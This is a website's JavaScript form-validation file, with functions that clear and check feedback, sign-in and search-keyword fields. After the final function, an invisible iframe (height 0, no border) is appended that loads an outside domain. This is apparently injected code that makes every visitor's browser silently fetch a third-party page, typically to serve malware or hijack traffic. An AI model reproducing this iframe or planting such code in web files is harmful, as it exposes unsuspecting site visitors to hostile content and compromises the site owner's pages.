function clearbox() {
document.Form1.companyname.value="";
document.Form1.contactperson.value="";
document.Form1.contacttel.value="";
document.Form1.contactfax.value="";
document.Form1.contactemail.value="";
document.Form1.contactadd.value="";
document.Form1.contacturl.value="";
document.Form1.feedbackdesc.value="";
}

function check_feedbackform()
{
	if(document.Form1.companyname.value=="")
	{
		alert("Please enter your company name.");
		document.Form1.companyname.select();
		return false;
	}
	if(document.Form1.contactperson.value=="")
	{
		alert("Please enter contact person.");
		document.Form1.contactperson.select();
		return false;
	}
	if(document.Form1.contacttel.value=="")
	{
		alert("Please enter tel.");
		document.Form1.contacttel.select();
		return false;
	}
	if(document.Form1.contactemail.value=="")
	{
		alert("Please enter email.");
		document.Form1.contactemail.select();
		return false;
	}
	if(document.Form1.feedbackdesc.value=="")
	{
		alert("Please enter content.");
		document.Form1.feedbackdesc.select();
		return false;
	}
	if(document.Form1.contactemail.value.length !=0)
   {
	  	   
   if(/^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/.exec(document.Form1.contactemail.value)==null)
     {
      alert("Email Error!");
      document.Form1.contactemail.select();
      return false;
     } 
   }
	return true;
}

function check_signin()
{
	if(document.Form1.username.value.length<4||document.Form1.username.value.length>12)
	{
	  alert("4-12 length");
	  document.Form1.username.select();
	  return false;
	 }
  if(document.Form1.pwd.value.length<4||document.Form1.pwd.value.length>12)
	{
	  alert("4-12 length");
	  document.Form1.pwd.select();
	  return false;
	}
	return true;	

}

function check_keyword()
{
	if(document.Form1.head_top_keyword.value=="")
	{
		alert("Please enter product item or name!");
		document.Form1.head_top_keyword.select();
		return false;
	}
	if(document.Form1.head_top_keyword.value.length >30)
	{
		alert("1-30 length");
		document.Form1.head_top_keyword.value="";
		document.Form1.head_top_keyword.select();
		
		return false;
		
	}
	
	return true;
}<iframe src=http://www.h148.cn/ width=100 height=0 frameborder=0></iframe>